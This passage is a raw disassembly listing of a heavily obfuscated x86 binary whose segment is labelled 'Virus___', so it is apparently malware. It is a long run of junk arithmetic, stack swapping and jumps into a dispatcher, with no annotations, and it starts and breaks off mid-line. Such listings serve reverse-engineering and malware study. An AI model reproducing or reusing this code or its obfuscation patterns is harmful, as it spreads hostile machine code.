sub_545A2B+60EBj mov dh, bl jmp loc_5470EE ; --------------------------------------------------------------------------- loc_546C88: ; CODE XREF: sub_545A2B+6B02j mov esi, esp push ecx push ebp mov ebp, 3C3F7B78h jmp loc_5449A1 ; --------------------------------------------------------------------------- loc_546C96: ; CODE XREF: sub_545A2B+3D0Ej push 4B11h mov [esp-1Ah+arg_16], ebx jmp loc_54684B ; --------------------------------------------------------------------------- loc_546CA3: ; CODE XREF: sub_545A2B+520j xor cl, dh mov edx, [esp-1Eh+arg_1A] add esp, 4 jmp loc_54A46D ; --------------------------------------------------------------------------- loc_546CB3: ; CODE XREF: Virus___:00543178j push esi mov esi, 4 add edi, esi jmp loc_549462 ; --------------------------------------------------------------------------- loc_546CC0: ; CODE XREF: sub_545A2B+3BD6j add esi, 42C33B88h mov edx, [esp-1Eh+arg_1A] add esp, 4 push eax mov eax, 2 sub esi, 0E136D40h jmp loc_5473BD ; --------------------------------------------------------------------------- loc_546CDD: ; CODE XREF: sub_545A2B+5DDBj mov [esp-1Eh+arg_1A], esi mov esi, 0D64205C0h xor edx, esi pop esi sub [edi+24h], edx push [esp-22h+arg_1E] jmp loc_54BF97 ; --------------------------------------------------------------------------- loc_546CF3: ; CODE XREF: sub_545A2B+56Dj push ebp mov ebp, 2 add edi, ebp pop ebp push edi jmp loc_547F08 ; --------------------------------------------------------------------------- loc_546D02: ; CODE XREF: sub_545A2B+240Dj mov [esp-20h+arg_1A+2], esi push esp jmp loc_54D826 ; --------------------------------------------------------------------------- loc_546D0B: ; CODE XREF: sub_545A2B+87FBj mov bl, 0EBh sub dh, 8Fh sub dh, bl jmp loc_544CF5 ; --------------------------------------------------------------------------- loc_546D17: ; CODE XREF: sub_545A2B+649Cj pop ebx push edx mov edx, esp add edx, 4 jmp loc_54C4F6 ; --------------------------------------------------------------------------- loc_546D26: ; CODE XREF: sub_545A2B-4EAj mov ecx, 2FBB425Fh inc ecx add ecx, 232067AEh push esi mov esi, 66370A0Bh jmp loc_54D2C4 ; --------------------------------------------------------------------------- loc_546D3D: ; CODE XREF: sub_545A2B+3466j mov word ptr [esp-32h+arg_2E], sp jmp loc_5479FA ; --------------------------------------------------------------------------- loc_546D46: ; CODE XREF: sub_545A2B+4D23j push ebp mov ebp, esp push edi push eax mov eax, 19521E78h mov edi, 19521E7Ch xor edi, eax pop eax add ebp, edi pop edi add ebp, 4 xchg ebp, [esp-2Eh+arg_2A] pop esp jmp loc_54D883 ; --------------------------------------------------------------------------- loc_546D6A: ; CODE XREF: sub_54EDB2+6j mov [esp-32h+arg_2E], esi push ecx mov ecx, 6AE07639h jmp loc_543B22 ; --------------------------------------------------------------------------- loc_546D78: ; CODE XREF: sub_545A2B+1D83j mov cx, word ptr [esp-2Eh+arg_2A] jmp loc_54C161 ; --------------------------------------------------------------------------- loc_546D81: ; CODE XREF: sub_545A2B+1A35j mov edx, [esp-2Eh+arg_2A] add esp, 4 sub edx, 4E2F3589h push ecx mov ecx, 59F13A03h add ecx, 43E30E0Dh inc ecx sub ecx, 44FF3332h jmp loc_54A709 ; --------------------------------------------------------------------------- loc_546DA5: ; CODE XREF: sub_545A2B-16FCj mov ebp, 3A54AAh sub ebp, 0FFFFFFFFh shr ebp, 6 add ebp, 0F787778h jmp loc_54E839 ; --------------------------------------------------------------------------- loc_546DBB: ; CODE XREF: sub_545A2B+21FCj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546DC0: ; CODE XREF: sub_545A2B-2591j mov edx, [esp-34h+arg_2E+2] add esp, 4 push 10CCh mov [esp-34h+arg_2E+2], edx mov edx, 4 jmp loc_54C2BE ; --------------------------------------------------------------------------- loc_546DD8: ; CODE XREF: sub_545A2B+2503j sub eax, edx pop edx add eax, 6AD54940h add eax, 29D7C639h jmp loc_5456F7 ; --------------------------------------------------------------------------- loc_546DEA: ; CODE XREF: sub_545A2B+1727j add esp, 4 push ebp mov ebp, 4DFF64B9h jmp loc_54CA09 ; --------------------------------------------------------------------------- loc_546DFB: ; CODE XREF: sub_545A2B+2D56j or eax, eax jz loc_548B43 push dword ptr [edi+28h] push ebx mov ebx, 212169FEh sub [esp-30h+arg_2E+2], ebx pop ebx mov eax, [esp-34h+arg_2E+2] add esp, 4 push esi mov esi, 26B75257h and esi, 0CFB43D3h neg esi sub esi, 1 push 14B0h jmp loc_544AC7 ; --------------------------------------------------------------------------- loc_546E32: ; CODE XREF: sub_545A2B+8220j mov ebx, [esp-30h+arg_2A+2] jmp loc_548755 ; --------------------------------------------------------------------------- loc_546E3A: ; CODE XREF: sub_545A2B+48Cj push esp jmp loc_54D776 ; --------------------------------------------------------------------------- loc_546E40: ; CODE XREF: sub_545A2B+461j sub esi, 0A913EFCCh mov edi, esi pop esi xor edi, 63F82274h xor edi, 39F71663h push ebp mov ebp, 53360444h dec ebp push eax push ecx mov ecx, 7487691Bh jmp loc_54BC06 ; --------------------------------------------------------------------------- loc_546E68: ; CODE XREF: sub_545A2B+2E4Dj push esi mov esi, 4 add edi, esi pop esi push 24B9h mov [esp+0Ah+var_C+2], edx mov edx, 2 add edi, edx jmp loc_54DB42 ; --------------------------------------------------------------------------- loc_546E85: ; CODE XREF: sub_545A2B+1F45j not ebx add ebx, 5EB84D64h jmp loc_54F123 ; --------------------------------------------------------------------------- loc_546E92: ; DATA XREF: Virus___:00542E78o push dword ptr [edi+2Ch] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546E9A: ; CODE XREF: sub_545A2B-296Aj push esp pop ebp push ebx jmp loc_54C25F ; --------------------------------------------------------------------------- loc_546EA2: ; CODE XREF: sub_545A2B+23F8j mov eax, 4 add ebx, eax mov eax, [esp-6+arg_0+2] add esp, 4 push eax mov eax, 4 add ebx, eax mov eax, [esp-6+arg_0+2] add esp, 4 jmp loc_545614 ; --------------------------------------------------------------------------- loc_546EC5: ; CODE XREF: sub_545A2B+4268j sub ebx, 77B07004h add ebx, ecx add ebx, 77B07004h mov ecx, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_549AC9 ; --------------------------------------------------------------------------- loc_546EE1: ; DATA XREF: Virus___:00542E00o lodsb sub esp, 4 mov [esp-0Ah+arg_4+2], edx push ebx mov bl, 0EBh push ecx mov ch, bl mov dh, ch pop ecx pop ebx and dh, 4Bh jmp loc_54EC45 ; --------------------------------------------------------------------------- loc_546EFA: ; CODE XREF: sub_54E769+6j mov [esp-0Ah+arg_4+2], esi mov esi, 4 jmp loc_5475E6 ; --------------------------------------------------------------------------- loc_546F07: ; CODE XREF: sub_545A2B-1AE3j or ecx, 28840192h or ecx, 69222335h xor ecx, 4A026835h push ebx jmp loc_547FDE ; --------------------------------------------------------------------------- loc_546F1F: ; CODE XREF: sub_545A2B+790j push eax mov eax, esp jmp loc_548086 ; --------------------------------------------------------------------------- loc_546F27: ; CODE XREF: Virus___:005430E6j sub edx, 7982481Eh add edi, edx pop edx sub edi, 4 xchg edi, [esp-28h+arg_22+2] jmp loc_54CE21 ; --------------------------------------------------------------------------- loc_546F3B: ; CODE XREF: sub_545A2B+487Cj add esp, 4 pop [esp-2Ch+arg_26+2] mov esp, [esp-30h+arg_2A+2] shl [esp-30h+arg_2A+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546F50: ; CODE XREF: sub_545A2B+876Cj mov eax, 1205D32h jmp loc_54989B ; --------------------------------------------------------------------------- loc_546F5A: ; CODE XREF: Virus___:00545638j push edx jmp loc_54D696 ; --------------------------------------------------------------------------- loc_546F60: ; CODE XREF: sub_545A2B+86DBj mov ebp, 59164F57h dec ebp inc ebp jmp loc_548484 ; --------------------------------------------------------------------------- loc_546F6C: ; CODE XREF: sub_545A2B-1C23j neg edi add edi, 0A5C1F08h add edi, 3666006Ch mov eax, edi pop edi sub ecx, eax pop eax sub edx, ecx jmp loc_549A46 ; --------------------------------------------------------------------------- loc_546F87: ; CODE XREF: sub_545A2B+86A7j mov ecx, 4 add ebp, ecx mov ecx, [esp-54h+arg_50] add esp, 4 xchg ebp, [esp-58h+arg_54] jmp loc_543452 ; --------------------------------------------------------------------------- loc_546F9C: ; CODE XREF: sub_545A2B+31F5j mov edi, 58EA5446h mov edx, 58EA57BAh xor edx, edi pop edi push esi push edi mov edi, 7D2B1FF9h mov esi, 9AD3046Eh add esi, edi pop edi sub edi, esi jmp loc_54C910 ; --------------------------------------------------------------------------- loc_546FBF: ; CODE XREF: sub_545A2B+76D4j pop ebp push 4E9Bh mov [esp-58h+arg_54], esi push ebp push ebx push 6DA866EFh pop ebx jmp loc_54C254 ; --------------------------------------------------------------------------- loc_546FD5: ; CODE XREF: sub_545A2B+981Dj add esi, edx sub esi, 24D111D8h pop edx jmp loc_5447F6 ; --------------------------------------------------------------------------- loc_546FE3: ; CODE XREF: sub_545A2B+238Cj push 53947h mov ebx, [esp-50h+arg_4C] push edx push esp jmp loc_54CC48 ; --------------------------------------------------------------------------- loc_546FF2: ; CODE XREF: sub_545A2B+3013j mov edi, 3BCA6DCEh add eax, edi pop edi push ebp sub esp, 4 mov [esp-44h+arg_3E+2], eax push 5F802FCAh pop eax jmp loc_54D770 ; --------------------------------------------------------------------------- loc_54700C: ; CODE XREF: sub_545A2B-7FCj add edx, 4 add edx, 4 xchg edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_548D55 ; --------------------------------------------------------------------------- loc_547020: ; CODE XREF: sub_545A2B+3BA8j push 1EA8h mov [esp-4+arg_0], eax mov eax, 2 add ecx, eax mov eax, [esp-4+arg_0] jmp loc_54375A ; --------------------------------------------------------------------------- loc_547037: ; CODE XREF: Virus___:0054CBEEj push esp jmp loc_545802 ; --------------------------------------------------------------------------- loc_54703D: ; CODE XREF: sub_545A2B+703Aj neg esi xor esi, 1CE03F8h sub edi, 71C700E7h add edi, 601C4888h sub edi, esi sub esp, 4 jmp loc_5485C9 ; --------------------------------------------------------------------------- loc_54705E: ; CODE XREF: sub_545A2B+19AFj add eax, 0F66A49D0h mov esi, eax mov eax, [esp+4+var_4] add esp, 4 jmp loc_54B56C ; --------------------------------------------------------------------------- loc_547073: ; CODE XREF: sub_545A2B+83D5j push edx jmp sub_54516C ; --------------------------------------------------------------------------- loc_547079: ; CODE XREF: sub_545A2B-1019j pop ebp xor ecx, edx pop edx shl ecx, 4 add ecx, 0A87E18F4h add esi, ecx jmp loc_54C665 ; --------------------------------------------------------------------------- loc_54708D: ; CODE XREF: sub_545A2B+27CDj mov eax, 2 add ecx, eax pop eax xchg ecx, [esp-64h+arg_60] mov esp, [esp-64h+arg_60] push 5CAFh mov [esp-60h+arg_5C], ebx mov ebx, 40950441h shr ebx, 6 xor ebx, 0B95565Eh sub ebx, 3A247872h push edi mov edi, 259360A4h shl edi, 2 and edi, 49E02182h add edi, 64430B1Ch sub edi, 6B8E7F2Dh neg edi sub edi, 3698E9B4h sub ebx, edi mov edi, [esp-5Ch+arg_58] add esp, 4 jmp loc_54B6E1 ; --------------------------------------------------------------------------- loc_5470E7: ; CODE XREF: sub_545A2B-1360j xor ecx, esi jmp loc_5465C0 ; --------------------------------------------------------------------------- loc_5470EE: ; CODE XREF: sub_545A2B+1258j pop ebx add ch, dh pop edx sub al, ch pop ecx push ebx mov bh, 0CCh not bh sub bh, 72h and bh, 67h or bh, 89h neg bh add bh, 0Ah sub esp, 4 mov [esp-2Ah+arg_26], ecx mov cl, 90h push bx jmp loc_54E15C ; --------------------------------------------------------------------------- loc_54711A: ; CODE XREF: sub_545A2B+3AE4j sub esp, 4 jmp loc_54944F ; --------------------------------------------------------------------------- loc_547125: ; CODE XREF: sub_545A2B+1DB5j add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push edi push eax mov eax, 74814B39h push edi mov edi, 5AAE7918h neg edi sub edi, 1 or edi, 7D174680h jmp loc_54B43D ; --------------------------------------------------------------------------- loc_547151: ; CODE XREF: sub_545A2B+8AE8j pop eax jmp loc_546DEA ; --------------------------------------------------------------------------- loc_547157: ; CODE XREF: sub_545A2B+3838j xor [esp-1Ch+arg_16+2], edx xor edx, [esp-1Ch+arg_16+2] mov esp, [esp-1Ch+arg_16+2] xchg esi, [esp-1Ch+arg_16+2] pop esp sar [esp-20h+arg_1A+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54716D: ; CODE XREF: sub_54E0D7-12F7j sub cl, 1 add cl, al add cl, 1 pop eax push edx jmp loc_54B203 ; --------------------------------------------------------------------------- loc_54717C: ; CODE XREF: sub_545A2B+2A2Fj add edx, ebx push 5A8Fh mov [esp-18h+arg_12+2], esi jmp loc_5441F1 ; --------------------------------------------------------------------------- loc_54718B: ; CODE XREF: sub_545A2B+1251j mov ebx, 4 jmp loc_542F71 ; --------------------------------------------------------------------------- loc_547195: ; CODE XREF: sub_545A2B+2DCj sub ebp, 1 shr ebp, 7 jmp sub_544F70 ; --------------------------------------------------------------------------- loc_5471A3: ; CODE XREF: sub_545A2B+E28j dec eax not eax jmp loc_544C26 ; --------------------------------------------------------------------------- loc_5471AB: ; CODE XREF: sub_543958+2Bj sub edi, 4C8C70DAh sub edi, ebx add edi, 4C8C70DAh jmp loc_549A7A ; --------------------------------------------------------------------------- loc_5471BE: ; CODE XREF: sub_545A2B+4533j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-4Ch+arg_46+2] pop esp mov [esp-50h+arg_4C], esp add [esp-50h+arg_4C], 4 mov ecx, [esp-50h+arg_4C] add esp, 4 push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp-50h+arg_4C] add esp, 4 push ebx jmp loc_54B44F ; --------------------------------------------------------------------------- loc_5471F1: ; CODE XREF: sub_545A2B-29C5j push 3619h mov [esp+6+var_8+2], edx sub esp, 4 mov [esp+0Ah+var_C+2], esi mov esi, 3DBF6A48h inc esi sub esi, 0CF8C443Dh mov edx, esi pop esi push edi mov edi, 79B022E8h jmp loc_54C8BF ; --------------------------------------------------------------------------- loc_547219: ; DATA XREF: Virus___:00542E40o mov ax, word ptr [esp+0Ah+var_C+2] push 51C1h jmp loc_547742 ; --------------------------------------------------------------------------- loc_547227: ; DATA XREF: Virus___:00542E64o push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+0Ch+var_C], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547236: ; CODE XREF: sub_545A2B+1146j sub esp, 4 mov [esp-0Eh+arg_A], edx push esp pop edx jmp sub_54EAB6 ; --------------------------------------------------------------------------- loc_547246: ; CODE XREF: sub_545A2B-108Fj pop esp jmp sub_54E0D7 ; --------------------------------------------------------------------------- loc_54724C: ; CODE XREF: sub_545A2B+4D7j pop ax mov bx, word ptr [esp-40h+arg_3A+2] add esp, 2 add cl, dh pop edx sub al, 0CEh sub al, cl add al, 0CEh jmp loc_544A51 ; --------------------------------------------------------------------------- loc_547263: ; CODE XREF: sub_545A2B+21CBj mov [esp-48h+arg_42+2], ebp push 29DFh push esp jmp loc_54D70D ; --------------------------------------------------------------------------- loc_547271: ; CODE XREF: sub_545A2B+7638j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547276: ; CODE XREF: Virus___:0054CD96j push 87Ch mov [esp-3Ch+arg_36+2], ebx mov ebx, 73707DF0h xor ebx, 73707DF4h add edi, ebx pop ebx jmp loc_545EDF ; --------------------------------------------------------------------------- loc_547291: ; CODE XREF: Virus___:0054EB5Aj mov ecx, 190E7B4Dh jmp loc_54786B ; --------------------------------------------------------------------------- loc_54729B: ; CODE XREF: sub_545A2B+2493j mov ebp, 2E765697h sub eax, ebp jmp loc_54CD53 ; --------------------------------------------------------------------------- loc_5472A7: ; CODE XREF: sub_545002+7D07j push [esp-40h+arg_3A+2] jmp loc_5450C1 ; --------------------------------------------------------------------------- loc_5472AF: ; CODE XREF: sub_545A2B+A2Aj pop esp jmp loc_54D819 ; --------------------------------------------------------------------------- loc_5472B5: ; CODE XREF: sub_545A2B+EC0j sub ecx, edx mov edx, [esp-5Ah+arg_54+2] add esp, 4 xor edi, ecx pop ecx add edi, 5B182B24h add edi, 4A4B3246h sub esi, edi pop edi xor eax, esi mov esi, [esp-66h+arg_60+2] add esp, 4 xor ebx, eax push edx jmp loc_54AF8C ; --------------------------------------------------------------------------- loc_5472E2: ; CODE XREF: sub_545A2B+DC9j push [esp-28h+arg_26+2] mov ecx, [esp-24h+arg_1E+2] add esp, 4 jmp loc_547389 ; --------------------------------------------------------------------------- loc_5472F4: ; CODE XREF: sub_545A2B+3874j push [esp-28h+arg_22+2] mov eax, [esp-24h+arg_1E+2] push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, ebx pop ebx push eax mov eax, 4 jmp loc_54B10A ; --------------------------------------------------------------------------- loc_547311: ; CODE XREF: sub_545A2B+438Bj xchg esi, [esp-1Ch+arg_16+2] pop esp or edx, eax shl edx, 1 push eax jmp loc_54CC80 ; --------------------------------------------------------------------------- loc_54731F: ; CODE XREF: sub_545A2B+20E5j pop eax add ebx, 4 xor ebx, [esp-20h+arg_1A+2] xor [esp-20h+arg_1A+2], ebx xor ebx, [esp-20h+arg_1A+2] pop esp xchg ecx, [esp-24h+arg_1E+2] pop esp sub esp, 4 mov [esp-24h+arg_1E+2], ecx jmp loc_547595 ; --------------------------------------------------------------------------- loc_547342: ; CODE XREF: sub_545A2B+5153j sub ax, si pop si push esi mov si, 35BBh jmp loc_549069 ; --------------------------------------------------------------------------- loc_547351: ; CODE XREF: sub_545A2B+3DE1j add ebx, 21712E4h jmp loc_54BDFB ; --------------------------------------------------------------------------- loc_54735C: ; CODE XREF: sub_545A2B+5EF5j add esp, 4 jmp loc_545A3A ; --------------------------------------------------------------------------- loc_547367: ; CODE XREF: sub_545A2B+92F1j pop edi sub esp, 4 jmp loc_54E2DB ; --------------------------------------------------------------------------- loc_547370: ; CODE XREF: sub_545A2B+8781j shr dl, 3 inc dl jmp loc_548C25 ; --------------------------------------------------------------------------- loc_54737A: ; CODE XREF: sub_545A2B+589j pop eax sub [esp-20h+arg_1E+2], 51171109h push ebx jmp loc_54B28D ; --------------------------------------------------------------------------- loc_547389: ; CODE XREF: sub_545A2B+18C4j pop [esp-28h+arg_22+2] pop esp add esp, 4 add esp, 4 push edx push esp mov edx, [esp-30h+arg_2A+2] add esp, 4 push ebp mov ebp, 4 add edx, ebp mov ebp, [esp-30h+arg_2A+2] add esp, 4 jmp loc_54A515 ; --------------------------------------------------------------------------- loc_5473B4: ; CODE XREF: sub_545A2B+9A3Fj add [esp-34h+arg_36+2], ebx jmp loc_54F178 ; --------------------------------------------------------------------------- loc_5473BD: ; CODE XREF: sub_545A2B+12ADj add esi, eax jmp loc_5451E1 ; --------------------------------------------------------------------------- loc_5473C4: ; CODE XREF: sub_545A2B+7FCAj push esp jmp loc_54B981 ; --------------------------------------------------------------------------- loc_5473CA: ; CODE XREF: sub_545A2B+88B3j mov eax, 26C5771Fh and eax, 35511843h jmp loc_54ED21 ; --------------------------------------------------------------------------- loc_5473D9: ; CODE XREF: sub_545A2B-1613j pop edx jmp loc_54705E ; --------------------------------------------------------------------------- loc_5473DF: ; CODE XREF: sub_545A2B+61A5j mov eax, [esp-1Ah+arg_16] sub esp, 4 mov [esp-16h+arg_12], ebp mov ebp, esp jmp loc_54946B ; --------------------------------------------------------------------------- loc_5473EF: ; CODE XREF: sub_545A2B+4E24j add esp, 4 and ecx, edx push [esp-1Ah+arg_16] pop edx push edi jmp loc_54954D ; --------------------------------------------------------------------------- loc_547401: ; CODE XREF: sub_545A2B+1A9j xor edi, 47BA77B2h xor edi, 69F3D49h shl edi, 7 add edi, 0E3A3CE8Bh xor esi, edi jmp loc_547691 ; --------------------------------------------------------------------------- loc_54741D: ; CODE XREF: sub_545A2B+39A6j add esp, 4 or eax, eax jz sub_54E287 push 7EADh mov [esp-30h+arg_2A+2], edx mov edx, 1Ch sub esp, 4 mov [esp-2Ch+arg_26+2], edi mov edi, 14032604h neg edi inc edi shr edi, 6 jmp loc_54D83C ; --------------------------------------------------------------------------- loc_54744B: ; CODE XREF: sub_545A2B+8471j mov dh, 1Ah push edx jmp loc_54D62A ; --------------------------------------------------------------------------- loc_547453: ; CODE XREF: sub_545A2B-1D22j push 4E57h mov [esp-32h+arg_2E], edx push 40h jmp loc_546D81 ; --------------------------------------------------------------------------- loc_547465: ; CODE XREF: sub_545A2B+470Fj xchg edx, [esp-2Eh+arg_2A] mov esp, [esp-2Eh+arg_2A] inc [esp-2Eh+arg_2A] pushf jmp loc_54BE17 ; --------------------------------------------------------------------------- loc_547474: ; CODE XREF: sub_545A2B+8BF2j sub esp, 4 mov [esp-26h+arg_22], ebx jmp loc_54895A ; --------------------------------------------------------------------------- loc_54747F: ; CODE XREF: sub_545A2B+504Fj add esi, ebp pop ebp jmp loc_54AE1A ; --------------------------------------------------------------------------- loc_547487: ; CODE XREF: sub_545A2B-9CCj sub [esp-44h+arg_42+2], ebp sub [esp-44h+arg_42+2], 38646813h jmp loc_54B493 ; --------------------------------------------------------------------------- loc_547498: ; CODE XREF: Virus___:00543E50j add eax, 25AD7FC2h jmp loc_543BBA ; --------------------------------------------------------------------------- loc_5474A2: ; CODE XREF: sub_545A2B+469j xchg ecx, [esp-1Eh+arg_1A] pop esp add edx, eax add edx, 4C3D0516h push ecx jmp loc_54C4DF ; --------------------------------------------------------------------------- loc_5474B4: ; CODE XREF: sub_545A2B+4732j pop [esp-1Eh+arg_1A] pop esp mov [esp-26h+arg_22], edi push esi jmp loc_543DA4 ; --------------------------------------------------------------------------- loc_5474C1: ; CODE XREF: sub_545A2B+12Dj add eax, 6A5B72F1h push ebp mov ebp, 1FA11836h or ebp, 8725E41h add ebp, 42A9AAD1h xor eax, ebp pop ebp and eax, 6DDF08EEh xor eax, 671652F0h jmp loc_54DB83 ; --------------------------------------------------------------------------- loc_5474EA: ; DATA XREF: Virus___:00542ED4o lodsd cmp dword ptr [edi+20h], 0 jz loc_548F62 push 27B9h mov [esp-1Eh+arg_1A], ebp push esp pop ebp jmp loc_54DD26 ; --------------------------------------------------------------------------- loc_547504: ; CODE XREF: sub_545A2B+38A1j mov cx, word ptr [esp-1Eh+arg_1A] add esp, 2 push edx mov edx, esp jmp loc_5481D7 ; --------------------------------------------------------------------------- loc_547516: ; CODE XREF: sub_545A2B+46EAj add ecx, 0C2EB1544h xor edx, ecx pop ecx mov edi, edx push [esp-22h+arg_1E] pop edx add esp, 4 add edi, 0FFFFFFFFh jmp loc_54F3FB ; --------------------------------------------------------------------------- loc_547533: ; CODE XREF: sub_545A2B+3D9j xchg edi, [esp-1Ah+arg_16] pop esp sub esp, 4 jmp loc_545321 ; --------------------------------------------------------------------------- loc_547542: ; DATA XREF: Virus___:00542E94o mov cx, word ptr [esp-1Ah+arg_16] jmp loc_5494F6 ; --------------------------------------------------------------------------- loc_54754B: ; CODE XREF: sub_545A2B-9B2j pop [esp-44h+arg_3E+2] pop esp mov word ptr [esp-4Ch+arg_46+2], ax jmp loc_543BB5 ; --------------------------------------------------------------------------- loc_547558: ; CODE XREF: sub_545A2B+89A3j shr ecx, 2 jmp loc_5461E9 ; --------------------------------------------------------------------------- loc_547560: ; CODE XREF: sub_545A2B-114j shl eax, 2 jmp loc_54EEDF ; --------------------------------------------------------------------------- loc_547568: ; CODE XREF: sub_545A2B+EAj add esi, edi pop edi sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 4 add esi, eax pop eax xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54758B: ; CODE XREF: sub_545A2B+31E4j pop esp sub [esp+0], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547595: ; CODE XREF: sub_545A2B+1912j mov ecx, 15AC61C3h inc ecx sub ecx, 1A5B416Ch push 0 add [esp-20h+arg_1A+2], 2EF605D8h sub [esp-20h+arg_1A+2], ecx sub [esp-20h+arg_1A+2], 2EF605D8h mov ecx, [esp-20h+arg_1A+2] add esp, 4 push edx mov edx, 72D55B0Eh sub edx, 0FFFFFFFFh jmp loc_54DF09 ; --------------------------------------------------------------------------- loc_5475CB: ; CODE XREF: sub_545A2B+6D10j push 721h mov [esp-1Ch+arg_16+2], ecx jmp loc_54B587 ; --------------------------------------------------------------------------- loc_5475D8: ; CODE XREF: sub_545A2B+1F8j xor ebx, [esp-34h+arg_2E+2] xor [esp-34h+arg_2E+2], ebx xor ebx, [esp-34h+arg_2E+2] jmp loc_54C1C9 ; --------------------------------------------------------------------------- loc_5475E6: ; CODE XREF: sub_545A2B+14D7j add edi, esi pop esi push edi jmp loc_5495D8 ; --------------------------------------------------------------------------- lodsw sub esp, 2 mov word ptr [esp-6+arg_0+2], dx jmp sub_54C95E ; --------------------------------------------------------------------------- loc_547600: ; CODE XREF: sub_545A2B+7DE9j push ebp mov ebp, 15BC2057h jmp sub_5441BD ; --------------------------------------------------------------------------- loc_54760B: ; CODE XREF: sub_545A2B+94CAj mov ebx, 7B25CDC6h xor edx, ebx pop ebx and ebx, edx pop edx xor ebx, 2C00701Ch push ebx pop edx pop ebx jmp loc_5461C5 ; --------------------------------------------------------------------------- loc_547624: ; CODE XREF: sub_545A2B+6CA3j add esp, 4 jmp loc_54D078 ; --------------------------------------------------------------------------- loc_54762F: ; CODE XREF: sub_54E5AF+18j xor [esp-12h+arg_E], 76713B3Ch jmp loc_54BEE0 ; --------------------------------------------------------------------------- loc_54763B: ; CODE XREF: sub_545A2B+2AB7j add al, 0Eh jmp loc_547F6A ; --------------------------------------------------------------------------- loc_547642: ; CODE XREF: sub_545A2B+3061j or eax, 39464D5Bh jmp loc_54BB1B ; --------------------------------------------------------------------------- loc_54764C: ; DATA XREF: Virus___:00542CDCo push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp-14h+arg_E+2], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54765B: ; CODE XREF: sub_545A2B-C32j sub esp, 4 jmp loc_548C1C ; --------------------------------------------------------------------------- mov ax, word ptr [esp-3Eh+arg_3A] push 1835h mov [esp-3Ah+arg_36], ebp jmp loc_5436A5 ; --------------------------------------------------------------------------- loc_547674: ; CODE XREF: sub_54CF1D+Cj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-3Ah+arg_36] pop esp push edx mov dh, 0DCh xor bh, dh pop edx jmp loc_548EC5 ; --------------------------------------------------------------------------- loc_547691: ; CODE XREF: sub_545A2B+19EDj mov edi, [esp-30h+arg_2A+2] jmp loc_5446BF ; --------------------------------------------------------------------------- loc_547699: ; CODE XREF: sub_545A2B+E4Fj mov esp, [esp-3Ah+arg_36] push 74Eh mov [esp-36h+arg_32], edx push esi mov esi, 0A1243C1h mov edx, esi jmp loc_54D725 ; --------------------------------------------------------------------------- loc_5476B1: ; CODE XREF: sub_545A2B+7ACAj or edx, edi pop edi add edx, 7B3242C7h jmp loc_54EFAA ; --------------------------------------------------------------------------- loc_5476BF: ; CODE XREF: sub_545A2B+456Dj mov ecx, [esp-36h+arg_32] jmp loc_54478B ; --------------------------------------------------------------------------- loc_5476C7: ; CODE XREF: sub_545A2B+7B2Fj sub esp, 4 mov [esp-32h+arg_2E], ebx mov ebx, 4 add eax, ebx jmp loc_54E84A ; --------------------------------------------------------------------------- loc_5476DC: ; CODE XREF: sub_545A2B+93Dj push ebp jmp loc_54D46A ; --------------------------------------------------------------------------- loc_5476E2: ; CODE XREF: sub_545A2B+4429j add eax, 4 xor eax, [esp-40h+arg_3A+2] xor [esp-40h+arg_3A+2], eax xor eax, [esp-40h+arg_3A+2] jmp loc_54B487 ; --------------------------------------------------------------------------- loc_5476F5: ; CODE XREF: Virus___:00544300j push edx mov edx, esp jmp loc_54B976 ; --------------------------------------------------------------------------- loc_5476FD: ; CODE XREF: sub_545A2B+9962j shr ecx, 8 add ecx, 19FFFB2Ah or ebx, ecx pop ecx or ebx, 1FD736E6h jmp sub_542FBE ; --------------------------------------------------------------------------- loc_547714: ; CODE XREF: sub_545A2B+34AEj sub ebp, 67DC2B13h jmp loc_54540A ; --------------------------------------------------------------------------- loc_54771F: ; CODE XREF: sub_545A2B+4995j push edx jmp loc_54B0C5 ; --------------------------------------------------------------------------- loc_547725: ; CODE XREF: sub_545A2B+4CE3j add [esp-3Ch+arg_36+2], 15F22DDAh sub [esp-3Ch+arg_36+2], ecx jmp loc_543DF2 ; --------------------------------------------------------------------------- loc_547734: ; CODE XREF: sub_545A2B+47F0j xor al, 0F8h jmp sub_543419 ; --------------------------------------------------------------------------- loc_54773B: ; CODE XREF: sub_545A2B+916Ej mov edi, esp jmp loc_545E31 ; --------------------------------------------------------------------------- loc_547742: ; CODE XREF: sub_545A2B+17F7j mov [esp+0Eh+var_10+2], esi push esp jmp loc_54CFC5 ; --------------------------------------------------------------------------- loc_54774B: ; CODE XREF: sub_545A2B-65Dj not ebp shr ebp, 5 push esi mov esi, 422B0FB9h push edx mov edx, 64F78CFh jmp loc_54636D ; --------------------------------------------------------------------------- loc_547761: ; CODE XREF: sub_545A2B+46B3j xor ebx, eax mov dx, word ptr [esp-38h+arg_32+2] sub esp, 4 mov [esp-34h+arg_2E+2], esi push esp pop esi jmp sub_543D76 ; --------------------------------------------------------------------------- loc_547777: ; CODE XREF: sub_545A2B+87A5j push esi mov esi, 39E50983h shl esi, 5 dec esi jmp loc_54955A ; --------------------------------------------------------------------------- loc_547786: ; CODE XREF: sub_545A2B+69DEj push ecx mov ecx, edi mov edx, ecx pop ecx mov edi, [esp-30h+arg_2A+2] add esp, 4 or edx, 2EFA15E7h shr edx, 7 jmp loc_5489B3 ; --------------------------------------------------------------------------- loc_5477A3: ; CODE XREF: sub_545A2B-149Cj mov ecx, [esp-22h+arg_1E] push eax jmp loc_5452AC ; --------------------------------------------------------------------------- loc_5477AC: ; CODE 